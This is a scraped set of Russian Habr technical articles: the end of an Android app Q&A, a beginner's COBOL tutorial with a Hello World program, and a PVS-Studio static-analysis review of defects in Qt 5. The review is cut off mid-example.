17. Зачем аннотация `@UiThread` у классов `Ticket` и `TicketSubsystem`?
Эти классы являются источниками событий `onPropertyChanged` которые используются в UI компонентах чтобы обновить отображение. Необходимо гарантировать что вызовы будут производиться в UI потоке.
18. Что происходит в конструкторе `TicketSubsystem`?
После старта приложения нужно загрузить данные из файла. В Android приложении это событие Application.onCreate. Но в этом примере такой класс не был добавлен. Поэтому момент когда нужно прочитать файл определяется по тому, когда создается `TicketSubsystem` (создается всего одна копия, т. к. он помечен аннотацией `@Singleton`). Однако в конструкторе `TicketSubsystem` нельзя создать `ReadTicketFromFile`, так как ему нужна ссылка на еще не созданный `TicketSubsystem`. Поэтому создание `ReadTicketFromFile` откладывается на следующий цикл UI потока.
19. Чтобы проверить, как работает приложение после перезапуска:
1. Нажать «Взять билет»
2. Не дожидаясь когда он появится, нажать «Home»
3. В консоли выполнить `adb shell am kill ru.soldatenko.habr3`
4. Запустить приложение
Спасибо | https://habr.com/ru/post/281290/ | null | ru | null |
# Знакомимся с COBOL — ч.1
Этой статьей я планирую начать целый цикл, который может быть со временем соберется в книгу. Информация про COBOL на русском представлена фактически статьей в Википедии и двумя советскими ГОСТами. Вы можете спросить меня зачем я начинаю “раскапывать труп” и прочие аналогичные вопросы. Ответ прост – а просто так. Потому что я люблю COBOL, потому что он вовсе не мертвый, потому что он интересный, потому что это часть важной истории и он продолжит оставаться частью будущего. Потому что COBOL – это событие. И пусть его ругает Дейкстра и другие, это ничуть не умаляет его объемов и его влияния на ИТ в бизнес.
Хватит введения, перейдем к самому изучаемому. COBOL – один из старейших языков программирования, расшифровывается его название как COmmon Business-Oriented Language, появившийся в 1959 году, благодаря “бабушке” Грейс Хоппер, и в основном применявшийся в различных финансовых и административных системах. Более подробно можно узнать его историю в ближайшем интернет-поисковике или (ну прям для совсем ленивых) — [notes.sochi.org.ru/1333](http://notes.sochi.org.ru/1333/) (рус. яз.) или [en.wikipedia.org/wiki/COBOL](http://en.wikipedia.org/wiki/COBOL) (eng.).
Для того, чтобы приступить к практическому изучению языка нам необходимо две вещи – редактор текстовый (1 шт.) и компилятор (1 шт.)
Если с редакторами все просто, тут подойдет даже Notepad и vi, emacs, nano и т.д. и т.п. Главное требование “классическое” это должен быть текстовые редактор, а не тексовый процессор (не помню что еще писали в достаточно старых книгах на эту тему ;-) ).
С компиляторами несколько сложнее, есть коммерческие, которые стоят безумных денег, есть студенческие версии коммерческих, есть версии старых компиляторов, есть даже несколько компиляторов с открытым кодом. Выбор остается за читателем, я лишь приведу список со своими комментариями.
[www.opencobol.org](http://www.opencobol.org/) OpenCOBOL (open-source, моя личная рекомендация, мультиплатформенный)
[tiny-cobol.sourceforge.net](http://tiny-cobol.sourceforge.net/) TinyCobol (open-source, по сообщению автора 1 января 2011 года – прекратил развитие, да и до этого был не особо активен)
[sourceforge.net/projects/cobolforgcc](http://sourceforge.net/projects/cobolforgcc/) Cobol for GCC (open-source, преальфа, последние обновления 2009г.)
[homepages.paradise.net.nz/jsoeberg](http://homepages.paradise.net.nz/jsoeberg/) COBOL 12 (freeware, 16-битный компилятор под DOS / Windows)
[cev.cemotel.cz/cobol/cb\_en/mx\_all.htm](http://cev.cemotel.cz/cobol/cb_en/mx_all.htm) Cevela MX COBOL (freeware, Windows)
[www.microfocus.com/promotions/wwemvctd0510/default.aspx?page=form](http://www.microfocus.com/promotions/wwemvctd0510/default.aspx?page=form) Micro Focus Visual COBOL R2 (trial, windows)
[www.thekompany.com/products/kobol](http://www.thekompany.com/products/kobol/) KOBOL (trial, linux, windows)
Также есть богатый выбор древних компиляторов под DOS.
Лично я использую OpenCOBOL, что в какой то мере единственный реальный вариант, на данный момент.
Теперь, когда вы все установили и готовы ринуться в бой – начнем. Естесственно, с Hello World.
Наберем в редакторе следующий код:
```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID. HELLOWORLD.
000300* --- Это пустая строчка. ---
000400 ENVIRONMENT DIVISION.
000500 DATA DIVISION.
000600 PROCEDURE DIVISION.
000700 BEGIN.
000800 DISPLAY “Hello World!”.
000900 STOP RUN.
```
Благополучно сохраняем это в файл с расширением .cob (или .cbl) – это самые популярные, исторические и логические расширения.
Далее в терминале или командной строке набираем cobc -x <файл> и получаем исполняемый файл. Запускаем его и оооооп!
`Hello World!`
Теперь давайте разберем этот код.
Начнем с внешнего вида. Это “классический” код. Со всеми требованиями, что были и 50 лет назад. Почему его использую я:
1. Код в таком формате подойдет любому компилятору.
2. Это “олдскулл”, “крутатенюшка” и просто мне нравится.
3. Всегда лучше начинаться со стандартных требований, а потом уже смотреть на возможности компилятора и собственный вкус.
Строка COBOL программы состоит из 80 символов.
Символ 1-6: номер строки (необязателен)
Символ 7: “индикатор”
\* — строка комментарий,
— — строка “продолжение”,
D- строка debug.
Символ 8 – 11: Зона А. В ней должны начинаться DIVISION'ы, SECTION'ы, имена и заголовки параграфов, а также индикаторы и номера “уровней” (это все рассмотрим позже).
Символ 12-72: Зона Б. Собственно здесь должны начинаться сами по себе выражения “кода”.
Символ 73-80: Зона комментария. Не обрабатывается компилятором и полностью предоставлена програмисту.
С горизонтальной плоскостью разобрались, перейдем к вертикали.
Каждая COBOL программа содержит 4 раздела – DIVISION, идут они в строгом порядке и содержат определенные элементы.
DIVISION ПЕРВЫЙ. Вдохновляющий.
IDENTIFICATION DIVISION. — описывает программу и содержит такие параграфы, как
```
PROGRAM-ID. Helloworld.
AUTHOR. Beginner.
INSTALLATION. MyLocalCobolComputer.
DATE-WRITTEN. 19/03/2011.
DATE-COMPILED. 19/03/2011.
SECURITY. Iwillnottellanybodythiscode.
```
Содержимое этих параграфов представляет собой обычный комментарий и в принципе записать туда можно хоть “2011 год от Рождества Христова”.
DIVISION ВТОРОЙ. Мистический.
ENVIRONMENT DIVISION. — Описывает ту среду, как и следует из названия, в которой пишется программа. Состоит из двух секций.
CONFIGURATION SECTION. Которая включает в себя параграфы SOURCE-COMPUTER. и OBJECT-COMPUTER. и SPECIAL-NAMES. Первые два несут сугубо комментирующую функцию и описывают на каком компьютере, для какого компьютера программа написана.
SPECIAL-NAMES. представляет собой достаточно глубинную штуку, которая будет рассмотрена позже (или можете поискать пока на эту тему сами информацию).
INPUT-OUTPUT SECTION. Описывает, как следует из названия ввод-вывод, очень нужно, очень важно и очень скоро мы с этим уже встретимся. Включает в себя параграфы FILE-CONTROL. и I-O-CONTROL.
DIVISION ТРЕТИЙ. Законодательный.
DATA DIVISION. — Содержит описания всех переменных. Включает в себя 4 секции:
FILE SECTION. — описывает структуру файлов.
WORKING-STORAGE SECTION. — описывает переменные.
LOCAL-STORAGE SECTION. — описывает переменные, которые создаются и инициализируются каждый раз при выполнении (поподробней в следующие разы).
LINKAGE SECTION. — описывает данные, которые мы получаем при вызове других программ.
DIVISION ЧЕТВЕРТЫЙ. Рабочий.
PROCEDURE DIVISION. — Содержит “саму” программу, которая делится на пользовательские секции, параграфы, которые и содержат выражения. В нашем случае
BEGIN. — пользовательский параграф.
DISPLAY “Hello World!”.
STOP RUN. Собственно сами выражения.
И напоследок. Каждое выражение должно заканчиваться “точкой”.
Спасибо за внимание. Жду вопросов в комментариях, которые обязательно будут отвечены и включены либо в следующие, либо в правку этой статьи.
Воронцов “nerfur” Вячеслав. 2011. | https://habr.com/ru/post/115813/ | null | ru | null |
# Третья проверка Qt 5 с помощью PVS-Studio
Время от времени наша команда повторно проверяет проекты, про которые мы уже писали статьи. Очередным таким перепроверенным проектом стал Qt. Последний раз мы проверяли его с помощью PVS-Studio в 2014 году. Начиная с 2014 года проект начал регулярно проверяться с помощью Coverity. Это интересно. Давайте посмотрим, удастся ли нам теперь найти какие-то интересные ошибки с помощью PVS-Studio.
Qt
--
Предыдущие статьи:
* "[Как уменьшить вероятность ошибки на этапе написания кода](https://www.viva64.com/ru/a/0075/)", июль 2011.
* "[Проверка фреймворка Qt 5](https://www.viva64.com/ru/b/0251/)", апрель 2014.
В этот раз был проверен [Qt Base](https://code.qt.io/cgit/qt/qtbase.git) (Core, Gui, Widgets, Network, ...) и [Qt5 super module](https://code.qt.io/cgit/qt/qt5.git). Про Qt Creator мы позже планируем написать отдельную статью. Для проверки использовался статический анализатор PVS-Studio, пробную версию которого вы можете [скачать](https://www.viva64.com/ru/pvs-studio-download/) с сайта.
На мой субъективный взгляд, код Qt стал более качественным. За годы с момента последней проверки, в анализаторе PVS-Studio появилось много новых диагностик. Несмотря на это, в ходе обзорного изучения предупреждений я выявил не так уж много ошибок для проекта такого размера. Ещё раз повторю, что это моё индивидуальное впечатление. Каких-то специальных исследований на тему плотности ошибок ни тогда, ни сейчас я не делал.
Положительно на качестве кода, скорее всего, сказались регулярные проверки с помощью статического анализатора Coverity. С 2014 года с помощью Coverity начал проверяться проект Qt ([qt-project](https://scan.coverity.com/projects/qt-project)), а с 2016 — Qt Creator ([qt-creator](https://scan.coverity.com/projects/qt-creator)). Моё мнение: если вы разрабатываете открытый проект, то [Coverity Scan](https://scan.coverity.com/) может стать хорошим бесплатным решением, которое существенно улучшит качество и надёжность ваших проектов.
Впрочем, как читатель может догадаться, если бы я ничего интересного не заметил в отчёте PVS-Studio, то и статьи бы не было :). А раз есть статья, то есть и дефекты. Давайте посмотрим на них. Всего я выписал 96 ошибок.
Неудачный Copy-Paste и опечатки
-------------------------------
Начнём с классики жанра, когда причиной ошибки является невнимательность. Эти ошибки недооцениваются программистами. Тем, кто ещё не читал, рекомендую посмотреть две эти статьи:
* [Эффект последней строки](https://www.viva64.com/ru/b/0260/)
* [Зло живёт в функциях сравнения](https://www.viva64.com/ru/b/0509/)
Эти ошибки межязыковые. Например, во второй статье приводится масса примеров ошибок в функциях сравнения, написанных на языках C, C++ и C#. Сейчас, реализуя в PVS-Studio поддержку языка Java, мы встречаем всё те же паттерны ошибок. Вот, например, ошибка, найденная нами недавно в библиотеке [Hibernate](http://hibernate.org/):
```
public boolean equals(Object other) {
if (other instanceof Id) {
Id that = (Id) other;
return purchaseSequence.equals(this.purchaseSequence) &&
that.purchaseNumber == this.purchaseNumber;
}
else {
return false;
}
}
```
Если присмотреться, то оказывается, что поле *purchaseSequence* сравнивается само с собой. Правильный вариант:
```
return that.purchaseSequence.equals(this.purchaseSequence) &&
that.purchaseNumber == this.purchaseNumber;
```
В общем, всё как всегда, и анализатору PVS-Studio предстоит «разгребать авгиевы конюшни» в Java-проектах. Кстати, приглашаем всех желающих принять участие в тестировании Beta-версии PVS-Studio for Java, которая должна появиться в ближайшее время. Для этого [напишите нам](https://www.viva64.com/ru/about-feedback/) (выберите пункт «Хочу анализатор для Java»).
Теперь вернёмся к ошибкам в проекте Qt.
**Дефект N1**
```
static inline int windowDpiAwareness(HWND hwnd)
{
return QWindowsContext::user32dll.getWindowDpiAwarenessContext &&
QWindowsContext::user32dll.getWindowDpiAwarenessContext
? QWindowsContext::user32dll.getAwarenessFromDpiAwarenessContext(
QWindowsContext::user32dll.getWindowDpiAwarenessContext(hwnd))
: -1;
}
```
Предупреждение PVS-Studio: V501 CWE-571 There are identical sub-expressions 'QWindowsContext::user32dll.getWindowDpiAwarenessContext' to the left and to the right of the '&&' operator. qwindowscontext.cpp 150
Какого-то специального пояснения помимо сообщения анализатора здесь не требуется. Мне кажется, что выражение должно было быть таким:
```
return QWindowsContext::user32dll.getAwarenessFromDpiAwarenessContext &&
QWindowsContext::user32dll.getWindowDpiAwarenessContext
? QWindowsContext::user32dll.getAwarenessFromDpiAwarenessContext(
QWindowsContext::user32dll.getWindowDpiAwarenessContext(hwnd))
: -1;
```
**Дефект N2, N3**
```
void QReadWriteLockPrivate::release()
{
Q_ASSERT(!recursive);
Q_ASSERT(!waitingReaders && !waitingReaders &&
!readerCount && !writerCount);
freelist->release(id);
}
```
Предупреждение PVS-Studio: V501 CWE-571 There are identical sub-expressions to the left and to the right of the '&&' operator: !waitingReaders &&!waitingReaders qreadwritelock.cpp 632
Ошибка находится внутри условия макроса *Q\_ASSERT*, поэтому она незначительна. Но всё равно это ошибка. Дважды проверяется переменная *waitingReaders*. А какую-то другую переменную, видимо, забыли проверить.
Идентичная ошибка обнаруживает себя в 625 строке файла qreadwritelock.cpp. Да здравствует Copy-Paste! :)
**Дефект N4**
```
QString QGraphicsSceneBspTree::debug(int index) const
{
....
if (node->type == Node::Horizontal) {
tmp += debug(firstChildIndex(index));
tmp += debug(firstChildIndex(index) + 1);
} else {
tmp += debug(firstChildIndex(index));
tmp += debug(firstChildIndex(index) + 1);
}
....
}
```
Предупреждение PVS-Studio: V523 CWE-691 The 'then' statement is equivalent to the 'else' statement. qgraphicsscene\_bsp.cpp 179
Скорее всего, блок текста был скопирован, но поправить его забыли.
**Дефект N5**
```
enum FillRule {
OddEvenFill,
WindingFill
};
QDataStream &operator>>(QDataStream &s, QPainterPath &p)
{
....
int fillRule;
s >> fillRule;
Q_ASSERT(fillRule == Qt::OddEvenFill || Qt::WindingFill);
....
}
```
Предупреждение PVS-Studio: V768 CWE-571 The enumeration constant 'WindingFill' is used as a variable of a Boolean-type. qpainterpath.cpp 2479
Согласитесь, это красивый ляп! *Q\_ASSERT* ничего не проверяет, так как условие всегда истинно. Истинно условие из-за того, что именованная константа *Qt::WindingFill* равна 1.
**Дефект N6**
```
bool QVariant::canConvert(int targetTypeId) const
{
....
if (currentType == QMetaType::SChar || currentType == QMetaType::Char)
currentType = QMetaType::UInt;
if (targetTypeId == QMetaType::SChar || currentType == QMetaType::Char)
targetTypeId = QMetaType::UInt;
....
}
```
Прежде чем читать предупреждение, попробуйте заметить опечатку самостоятельно. Добавив картинку, я помогу вам не прочитать сообщение анализатора сразу :).
Предупреждение PVS-Studio: V560 CWE-570 A part of conditional expression is always false: currentType == QMetaType::Char. qvariant.cpp 3529
Условие «currentType == QMetaType::Char» проверяется в первом *if*. Если условие выполняется, то переменной *currentType* присваивается значение *QMetaType::UInt*. Следовательно, далее переменная *currentType* уже никак не может быть равна *QMetaType::Char*. Поэтому анализатор и сообщает, что во втором *if* подвыражение «currentType == QMetaType::Char» всегда ложно.
На самом деле, второй *if* должен быть таким:
```
if (targetTypeId == QMetaType::SChar || targetTypeId == QMetaType::Char)
targetTypeId = QMetaType::UInt;
```
**Примечание по диагностики V560**
В отчёте оказалось много предупреждений V560. Однако я не стал их более просматривать, как только нашёл интересный случай для статьи, который был рассмотрен выше как дефект N6.
Подавляющее большинство сообщений V560 нельзя назвать ложными, но и проку от них нет. Другими словами, описывать их в статье неинтересно. Чтобы было понятно, что именно я имею в виду, рассмотрим один такой случай.
```
QString QTextHtmlExporter::findUrlForImage(const QTextDocument *doc, ....)
{
QString url;
if (!doc)
return url;
if (QTextDocument *parent = qobject_cast(doc->parent()))
return findUrlForImage(parent, cacheKey, isPixmap);
if (doc && doc->docHandle()) { // <=
....
}
```
Предупреждение PVS-Stuidio: V560 CWE-571 A part of conditional expression is always true: doc. qtextdocument.cpp 2992
Анализатор абсолютно прав, что указатель *doc* при повторной проверке всегда не равен *nullptr*. Но это не ошибка, просто программист перестраховался. Можно упростить код, написав:
```
if (doc->docHandle()) {
```
**Дефект N7**
И последний случай, который можно классифицировать как опечатку. Ошибка возникает из-за путаницы в именах констант, которые отличаются только регистром первой буквы.
```
class QWindowsCursor : public QPlatformCursor
{
public:
enum CursorState {
CursorShowing,
CursorHidden,
CursorSuppressed
};
....
}
QWindowsCursor::CursorState QWindowsCursor::cursorState()
{
enum { cursorShowing = 0x1, cursorSuppressed = 0x2 };
CURSORINFO cursorInfo;
cursorInfo.cbSize = sizeof(CURSORINFO);
if (GetCursorInfo(&cursorInfo)) {
if (cursorInfo.flags & CursorShowing)
....
}
```
Предупреждение PVS-Studio: V616 CWE-480 The 'CursorShowing' named constant with the value of 0 is used in the bitwise operation. qwindowscursor.cpp 669
Более подробно я уже разбирал эту ошибку в отдельной маленькой заметке: "[В очередной раз анализатор PVS-Studio оказался внимательнее человека](https://www.viva64.com/ru/b/0582/)".
Дефекты безопасности
--------------------
На самом деле, все ошибки, которые рассматриваются в этой статье, можно назвать дефектами безопасности. Все они классифицируются согласно [Common Weakness Enumeration](https://cwe.mitre.org/) (см. CWE ID в сообщениях анализатора). Если ошибки классифицируются как CWE, то они потенциально представляют угрозу с точки зрения безопасности. Более подробно это объясняется на странице [PVS-Studio SAST](https://www.viva64.com/ru/sast/).
Однако ряд ошибок так и хочется выделить в отдельную группу. Давайте взглянем на них.
**Дефект N8, N9**
```
bool QLocalServerPrivate::addListener()
{
....
SetSecurityDescriptorOwner(pSD.data(), pTokenUser->User.Sid, FALSE);
SetSecurityDescriptorGroup(pSD.data(), pTokenGroup->PrimaryGroup, FALSE);
....
}
```
Предупреждения PVS-Studio:
* V530 CWE-252 The return value of function 'SetSecurityDescriptorOwner' is required to be utilized. qlocalserver\_win.cpp 167
* V530 CWE-252 The return value of function 'SetSecurityDescriptorGroup' is required to be utilized. qlocalserver\_win.cpp 168
Существуют различные функции, связанные с разграничением доступа. Функции *SetSecurityDescriptorOwner* и *SetSecurityDescriptorGroup* относятся к их числу.
С такими функциями надо работать очень аккуратно. Например, обязательно надо проверять статус, который они возвращают. Что будет, если вызов этих функций закончится неудачей? Гадать не надо, надо написать код для обработки такого случая.
Не обязательно есть возможность воспользоваться отсутствием проверки и превратить подобные ошибки в уязвимости. Однако это в любом случае не место для риска, и надо написать более безопасный код.
**Дефект N10**
```
bool QLocalServerPrivate::addListener()
{
....
InitializeAcl(acl, aclSize, ACL_REVISION_DS);
....
}
```
Предупреждение PVS-Studio: V530 CWE-252 The return value of function 'InitializeAcl' is required to be utilized. qlocalserver\_win.cpp 144
Ситуация аналогична рассмотренной выше.
**Дефект N11, N12**
```
static inline void sha1ProcessChunk(....)
{
....
quint8 chunkBuffer[64];
....
#ifdef SHA1_WIPE_VARIABLES
....
memset(chunkBuffer, 0, 64);
#endif
}
```
Предупреждение PVS-Studio: V597 CWE-14 The compiler could delete the 'memset' function call, which is used to flush 'chunkBuffer' buffer. The RtlSecureZeroMemory() function should be used to erase the private data. sha1.cpp 189
Компилятор удалит вызов функции *memset*. Уже много раз в статьях я разбирал эту ситуацию. Повторяться не хочется. Отсылаю к статье "[Безопасная очистка приватных данных](https://www.viva64.com/ru/b/0388/)".
И ещё одна ошибка находится в том же файле sha1.cpp, в строке 247.
Нулевые указатели
-----------------
Пришло время поговорить об указателях. На эту тему нашлось весьма много ошибок.
**Дефект N13**
```
QByteArray &QByteArray::append(const char *str, int len)
{
if (len < 0)
len = qstrlen(str);
if (str && len) {
....
}
```
Предупреждение PVS-Studio: V595 CWE-476 The 'str' pointer was utilized before it was verified against nullptr. Check lines: 2118, 2119. qbytearray.cpp 2118
Классическая ситуация, когда указатель в начале используется, а затем проверяется на равенство *nullptr*. Это очень распространённый паттерн ошибки, и мы [встречаем](https://www.viva64.com/ru/examples/v595/) его регулярно практически во всех проектах.
**Дефект N14, N15**
```
static inline const QMetaObjectPrivate *priv(const uint* data)
{ return reinterpret_cast(data); }
bool QMetaEnum::isFlag() const
{
const int offset = priv(mobj->d.data)->revision >= 8 ? 2 : 1;
return mobj && mobj->d.data[handle + offset] & EnumIsFlag;
}
```
Предупреждение PVS-Studio: V595 CWE-476 The 'mobj' pointer was utilized before it was verified against nullptr. Check lines: 2671, 2672. qmetaobject.cpp 2671
На всякий случай я привожу тело функции *priv*. Почему-то иногда читатели начинают придумывать ситуации, при которых код будет работать. Не понимаю, откуда берётся это недоверие и желание увидеть в ошибке хитрую фичу :). Например, кто-то может в комментариях предположить, что *priv* — это макрос вида:
```
#define priv(A) foo(sizeof(A))
```
Тогда всё будет работать.
Чтобы не было место подобным дискуссиям, я стараюсь приводить фрагменты кода, где предоставлена вся информация, подтверждающая наличие ошибки.
Итак, указатель *modj* разыменовывается, а затем проверяется.
Дальше на сцену выходит «могучий и ужасный» Copy-Paste. Из-за чего в точности такая же ошибка обнаруживается в функции *isScoped*:
```
bool QMetaEnum::isScoped() const
{
const int offset = priv(mobj->d.data)->revision >= 8 ? 2 : 1;
return mobj && mobj->d.data[handle + offset] & EnumIsScoped;
}
```
Предупреждение PVS-Studio: V595 CWE-476 The 'mobj' pointer was utilized before it was verified against nullptr. Check lines: 2683, 2684. qmetaobject.cpp 2683
**Дефект N16-N21**
Рассмотрим ещё один пример и, думаю, достаточно.
```
void QTextCursor::insertFragment(const QTextDocumentFragment &fragment)
{
if (!d || !d->priv || fragment.isEmpty())
return;
d->priv->beginEditBlock();
d->remove();
fragment.d->insert(*this);
d->priv->endEditBlock();
if (fragment.d && fragment.d->doc)
d->priv->mergeCachedResources(fragment.d->doc->docHandle());
}
```
Предупреждение PVS-Studio: V595 CWE-476 The 'fragment.d' pointer was utilized before it was verified against nullptr. Check lines: 2238, 2241. qtextcursor.cpp 2238
Всё то же самое. Обратите внимание на последовательность работы с указателем, хранящимся в переменной *fragment.d*.
Другие ошибки этого типа:
* V595 CWE-476 The 'window' pointer was utilized before it was verified against nullptr. Check lines: 1846, 1848. qapplication.cpp 1846
* V595 CWE-476 The 'window' pointer was utilized before it was verified against nullptr. Check lines: 1858, 1860. qapplication.cpp 1858
* V595 CWE-476 The 'reply' pointer was utilized before it was verified against nullptr. Check lines: 492, 502. qhttpnetworkconnectionchannel.cpp 492
* V595 CWE-476 The 'newHandle' pointer was utilized before it was verified against nullptr. Check lines: 877, 883. qsplitter.cpp 877
* V595 CWE-476 The 'widget' pointer was utilized before it was verified against nullptr. Check lines: 2320, 2322. qwindowsvistastyle.cpp 2320
* На самом деле ошибок больше. Мне быстро надоело изучать предупреждения V595, а для статьи я уже выписал достаточное количество фрагментов кода.
**Дефект N22-N33**
Есть код, где проверяется указатель, который возвращает оператор *new*. Особенно это забавно на фоне того, что есть масса мест, где не проверяется результат работы функции *malloc* (см. следующую группу ошибок).
```
bool QTranslatorPrivate::do_load(const QString &realname,
const QString &directory)
{
....
d->unmapPointer = new char[d->unmapLength];
if (d->unmapPointer) {
file.seek(0);
qint64 readResult = file.read(d->unmapPointer, d->unmapLength);
if (readResult == qint64(unmapLength))
ok = true;
}
....
}
```
Предупреждение PVS-Studio: V668 CWE-571 There is no sense in testing the 'd->unmapPointer' pointer against null, as the memory was allocated using the 'new' operator. The exception will be generated in the case of memory allocation error. qtranslator.cpp 596
Проверка указателя не имеет смысла, так как в случае ошибки выделения памяти будет сгенерировано исключение *std::bad\_alloc*. Если хочется, чтобы при нехватке памяти оператор *new* возвращал *nullptr*, то следовало написать:
```
d->unmapPointer = new (std::nothrow) char[d->unmapLength];
```
Анализатор знает про такой вариант использования оператора *new* и не выдал бы в этом случае предупреждение.
Другие ошибки: приведу их файлом [qt-V668.txt](http://cppfiles.com/qt5_3/qt-V668.txt).
**Дефект N34-N70**
Как и обещал, теперь очередь ошибок, когда не проверяют результат вызова функций *malloc*, *calloc*, *strdup* и т.д. Эти ошибки серьезнее, чем кажется на первый взгляд. Подробнее: "[Почему важно проверять, что вернула функция malloc](https://www.viva64.com/ru/b/0558/)".
```
SourceFiles::SourceFiles()
{
nodes = (SourceFileNode**)malloc(sizeof(SourceFileNode*)*(num_nodes=3037));
for(int n = 0; n < num_nodes; n++)
nodes[n] = nullptr;
}
```
Предупреждение PVS-Studio: V522 CWE-690 There might be dereferencing of a potential null pointer 'nodes'. Check lines: 138, 136. makefiledeps.cpp 138
Указатель используют без предварительной проверки.
Все эти ошибки однотипны, поэтому я не буду на них останавливаться подробнее. Приведу остальные предупреждения списком: [qt-V522-V575.txt](http://cppfiles.com/qt5_3/qt-V522-V575.txt).
Логические ошибки в условиях
----------------------------
**Дефект N71**
```
QString QEdidParser::parseEdidString(const quint8 *data)
{
QByteArray buffer(reinterpret_cast(data), 13);
// Erase carriage return and line feed
buffer = buffer.replace('\r', '\0').replace('\n', '\0');
// Replace non-printable characters with dash
for (int i = 0; i < buffer.count(); ++i) {
if (buffer[i] < '\040' && buffer[i] > '\176')
buffer[i] = '-';
}
return QString::fromLatin1(buffer.trimmed());
}
```
Предупреждение PVS-Studio: V547 CWE-570 Expression 'buffer[i] < '\040' && buffer[i] > '\176'' is always false. qedidparser.cpp 169
Функция обязана выполнять следующее действие «Replace non-printable characters with dash». Однако она этого не делает. Взглянем внимательно вот на это условие:
```
if (buffer[i] < '\040' && buffer[i] > '\176')
```
Оно не имеет смысла. Символ не может одновременно быть меньше '\040' и больше '\176'. В условии необходимо использовать оператор '||'. Правильный вариант кода:
```
if (buffer[i] < '\040' || buffer[i] > '\176')
```
**Дефект N72**
Аналогичная ошибка, из-за которой не повезёт Windows-пользователям.
```
#if defined(Q_OS_WIN)
static QString driveSpec(const QString &path)
{
if (path.size() < 2)
return QString();
char c = path.at(0).toLatin1();
if (c < 'a' && c > 'z' && c < 'A' && c > 'Z')
return QString();
if (path.at(1).toLatin1() != ':')
return QString();
return path.mid(0, 2);
}
#endif
```
Анализатор выдаёт сразу два предупреждения:
* V590 CWE-571 Consider inspecting the 'c < 'a' && c > 'z' && c < 'A' && c > 'Z'' expression. The expression is excessive or contains a misprint. qdir.cpp 77
* V560 CWE-570 A part of conditional expression is always false: c > 'z'. qdir.cpp 77
Логическая ошибка находится в условии:
```
if (c < 'a' && c > 'z' && c < 'A' && c > 'Z')
```
Как я понимаю, программист хотел найти символ, который не является буквой латинского алфавита. В этом случае условие должно быть таким:
```
if ((c < 'a' || c > 'z') && (c < 'A' || c > 'Z'))
```
**Дефект N73**
```
enum SelectionMode {
NoSelection,
SingleSelection,
MultiSelection,
ExtendedSelection,
ContiguousSelection
};
void QAccessibleTableCell::unselectCell()
{
QAbstractItemView::SelectionMode selectionMode = view->selectionMode();
if (!m_index.isValid() || (selectionMode & QAbstractItemView::NoSelection))
return;
....
}
```
Предупреждение PVS-Studio: V616 CWE-480 The 'QAbstractItemView::NoSelection' named constant with the value of 0 is used in the bitwise operation. itemviews.cpp 976
Именованная константа *QAbstractItemView::NoSelection* равна нулю. Поэтому подвыражение *(selectionMode & QAbstractItemView::NoSelection)* не имеет смысла. Всегда будет получаться 0.
Мне кажется, здесь следовало написать так:
```
if (!m_index.isValid() || (selectionMode == QAbstractItemView::NoSelection))
```
**Дефект N74**
Следующий код мне понять трудно. Он неправильный, но каким он должен быть я не знаю. Комментарий к функции тоже мне не помогает.
```
// Re-engineered from the inline function _com_error::ErrorMessage().
// We cannot use it directly since it uses swprintf_s(), which is not
// present in the MSVCRT.DLL found on Windows XP (QTBUG-35617).
static inline QString errorMessageFromComError(const _com_error &comError)
{
TCHAR *message = nullptr;
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL, DWORD(comError.Error()), MAKELANGID(LANG_NEUTRAL,SUBLANG_DEFAULT),
message, 0, NULL);
if (message) {
const QString result = QString::fromWCharArray(message).trimmed();
LocalFree(static_cast(message));
return result;
}
if (const WORD wCode = comError.WCode())
return QString::asprintf("IDispatch error #%u", uint(wCode));
return QString::asprintf("Unknown error 0x0%x", uint(comError.Error()));
}
```
Предупреждение PVS-Studio: V547 CWE-570 Expression 'message' is always false. qwindowscontext.cpp 802
Программист, наверное, предполагает, что функция *FormatMessage* изменит значение указателя *message*. Но это не так. Функция *FormatMessage* не может изменить значение указателя, так как он передаётся в функцию по значению. Вот прототип этой функции:
```
DWORD
__stdcall
FormatMessageW(
DWORD dwFlags,
LPCVOID lpSource,
DWORD dwMessageId,
DWORD dwLanguageId,
LPWSTR lpBuffer,
DWORD nSize,
va_list *Arguments
);
```
Потенциальные утечки памяти
---------------------------
**Дефект N75-N92**
```
struct SourceDependChildren {
SourceFile **children;
int num_nodes, used_nodes;
SourceDependChildren() : children(nullptr), num_nodes(0), used_nodes(0) { }
~SourceDependChildren() { if (children) free(children); children = nullptr; }
void addChild(SourceFile *s) {
if(num_nodes <= used_nodes) {
num_nodes += 200;
children = (SourceFile**)realloc(children,
sizeof(SourceFile*)*(num_nodes));
}
children[used_nodes++] = s;
}
};
```
Предупреждение PVS-Studio: V701 CWE-401 realloc() possible leak: when realloc() fails in allocating memory, original pointer 'children' is lost. Consider assigning realloc() to a temporary pointer. makefiledeps.cpp 103
Увеличение буфера реализовано опасным образом. Если функция *realloc* не сможет выделить память, она вернёт значение *NULL*. Этот *NULL* будет сразу помещён в переменную *children* и не останется возможности как-то освободить буфер, выделенный ранее. Произойдёт утечка памяти.
Аналогичные ошибки: [qt-701.txt](http://cppfiles.com/qt5_3/qt-701.txt).
Разное
------
**Дефект N93**
```
template
static inline const BlendType \* QT\_FASTCALL
qt\_fetch\_linear\_gradient\_template(....)
{
....
if (t+inc\*length < qreal(INT\_MAX >> (FIXPT\_BITS + 1)) &&
t+inc\*length > qreal(INT\_MIN >> (FIXPT\_BITS + 1))) {
....
}
```
Предупреждение PVS-Studio: V610 CWE-758 Unspecified behavior. Check the shift operator '>>'. The left operand '(- 2147483647 — 1)' is negative. qdrawhelper.cpp 4015
Нельзя сдвигать отрицательное значение *INT\_MIN*. Это неуточнённое поведение, и полагаться на результат такой операции нельзя. Старшие биты могут оказаться как равными 0, так и 1.
**Дефект N94**
```
void QObjectPrivate::addConnection(int signal, Connection *c)
{
....
if (signal >= connectionLists->count())
connectionLists->resize(signal + 1);
ConnectionList &connectionList = (*connectionLists)[signal];
....
if (signal < 0) {
....
}
```
Предупреждение PVS-Studio: V781 CWE-129 The value of the 'signal' variable is checked after it was used. Perhaps there is a mistake in program logic. Check lines: 397, 413. qobject.cpp 397
Проверка *(signal < 0)* указывает на то, что значение аргумента *signal* может быть отрицательным. Однако этот аргумент ранее используется для индексации массива. Получается, что проверка выполняется слишком поздно. Работа программы уже будет нарушена.
**Дефект N95**
```
bool QXmlStreamWriterPrivate::finishStartElement(bool contents)
{
....
if (inEmptyElement) {
write("/>");
